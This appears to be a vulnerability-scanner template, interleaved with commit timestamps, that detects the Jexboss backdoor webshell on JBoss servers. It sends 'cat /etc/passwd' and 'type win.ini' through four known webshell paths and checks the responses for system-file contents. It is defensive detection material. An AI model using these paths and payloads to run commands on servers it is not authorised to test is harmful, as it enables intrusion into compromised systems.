2021-12-04 10:09:18 +00:00
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id: jexboss-backdoor
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info:
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name: Jexboss Backdoor Webshell
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author: UnkL4b
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severity: critical
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reference:
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- https://us-cert.cisa.gov/ncas/analysis-reports/AR18-312A
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- https://github.com/joaomatosf/jexboss
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2022-07-26 06:59:48 +00:00
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metadata:
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verified: true
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2021-12-21 15:31:11 +00:00
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tags: backdoor,jboss,rce
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2021-12-04 10:09:18 +00:00
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requests:
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- method: GET
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path:
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2022-07-26 13:45:11 +00:00
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- "{{BaseURL}}/jexws/jexws.jsp?ppp={{url_encode('{{command}}')}}"
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- "{{BaseURL}}/jexws4/jexws4.jsp?ppp={{url_encode('{{command}}')}}"
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- "{{BaseURL}}/jexinv4/jexinv4.jsp?ppp={{url_encode('{{command}}')}}"
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- "{{BaseURL}}/jbossass/jbossass.jsp?ppp={{url_encode('{{command}}')}}"
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2021-12-21 15:27:06 +00:00
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payloads:
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command:
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- "cat /etc/passwd"
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- "type C:\\/Windows\\/win.ini"
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2021-12-04 10:09:18 +00:00
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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2021-12-21 15:27:06 +00:00
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- type: regex
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2021-12-04 10:09:18 +00:00
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part: body
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2021-12-21 15:27:06 +00:00
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regex:
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- "root:.*:0:0:"
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- "\\[(font|extension|file)s\\]"
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condition: or
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2021-12-04 10:09:18 +00:00
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- type: word
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part: header
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words:
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2021-12-21 15:27:06 +00:00
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- "X-Powered-By: Servlet"
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